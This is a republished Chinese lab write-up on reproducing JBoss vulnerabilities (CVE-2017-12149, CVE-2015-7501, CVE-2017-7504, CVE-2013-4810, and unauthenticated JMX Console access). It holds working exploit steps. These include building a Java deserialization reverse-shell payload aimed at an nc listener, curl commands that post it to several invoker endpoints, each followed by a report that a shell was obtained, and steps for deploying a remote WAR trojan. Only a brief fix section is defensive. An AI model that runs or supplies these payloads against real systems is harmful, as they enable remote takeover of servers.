JBoss中间件漏洞复现
2021-05-07 02:42:36 Author: www.freebuf.com(查看原文) 阅读量:117 收藏

JBoss简介:

JBoss是一个基于J2EE的开发源代码的应用服务器。是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:

8080、9990

设置外网访问:

修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml配置:
image-20210506131659899.png
重启JBoss即可。

JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)

影响范围:
JBoss 5.x/6.x

1)验证是否存在漏洞

访问/invoker/readonly:

image-20210506132410851.png

返回500,说明此页面存在该漏洞。

2)配置javac环境

cd /opt 

curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 

tar zxvf jdk-8u20-linux-x64.tar.gz 

rm -rf /usr/bin/java* 

ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin 

javac -version 

java -version

image-20210506173918221.png

3)漏洞利用

工具:JavaDeserH2HC

(1)生成ReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image-20210506181129198.png

(2)生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar   ReverseShellCommonsCollectionsHashMap 192.168.109.9:8888(ip是nc所在的ip)

image-20210506181222701.png

(3)利用ReverseShellCommonsCollectionsHashMap.ser:

curl http://192.168.109.150:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210506181737164.png
image-20210506181808706.png

成功反弹shell。

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

漏洞简介:
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化。

漏洞影响:

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

1)验证漏洞是否存在

访问 /invoker/JMXInvokerServlet

image-20210506183202515.png

返回如上,说明接口开放,存在该漏洞。

2)漏洞利用

这里利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中。

curl http://192.168.109.150:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210506184441857.pngimage-20210506184517587.png

成功反弹shell。

3)修复建议

(1)删掉http-invoker.sar组件。路径为C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404。

(2)添加代码C:\jboss6.1.0.Final\server\default\deploy\httpinvoker.sar\invoker.war\WEB-INF下web.xml的security-constraint标签中,对http-invoker组件进行访问控制。

<url-pattern>/*</url-pattern>
JBossMQ JMS反序列化(CVE-2017-7504)

漏洞简介:
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞。

影响范围:
含JBoss 4.x之前所有版本。

复现环境:
JBoss 4.2.3

1)验证漏洞

访问 /jbossmq-httpil/HTTPServerILServlet

image-20210506233726546.png

返回此页面即存在漏洞。

2)漏洞利用

这里利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:

curl http://192.168.109.7:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210507001841325.pngimage-20210507001819636.png

成功反弹shell。

JBoss EJBInvokerServle反序列化漏洞(CVE-2013-4810)

访问 /invoker/EJBInvokerServlet,能返回结果即可利用。

与CVE-2015-7501漏洞原理相同。区别在于JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化上传构造的文件。

低版本JMX Console未授权访问

**漏洞简介:**JBoss管理控制台的访问控制不严格导致的漏洞。

**影响版本:**JBoss 4.x及其之前版本。

**复现环境:**JBoss 4.2.3

2)未授权访问

image-20210507004403105.png

找到 jboss.deployment

image-20210507004503329.png

进入页面后找到 void addURL()
image-20210507004658168.png

3)搭建远程部署

image-20210507010229978.png

python -m SimpleHTTPServer 8001

4)上传部署

image-20210507010402927.png

4)检查部署情况

image-20210507010605543.png

点击Apply Changes后,回到JMX-Console目录找到 jboss.web.deployment查看是否存在上传部署的war木马。

高版本JMX Console未授权访问

利用和低版本JMX Console未授权访问相同。

点击JMX Console,进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer,进入页面后找到methodIndex为17或19的deploy填写远程war地址进行远程部署。


文章来源: https://www.freebuf.com/articles/web/272033.html
如有侵权请联系:admin#unsafe.sh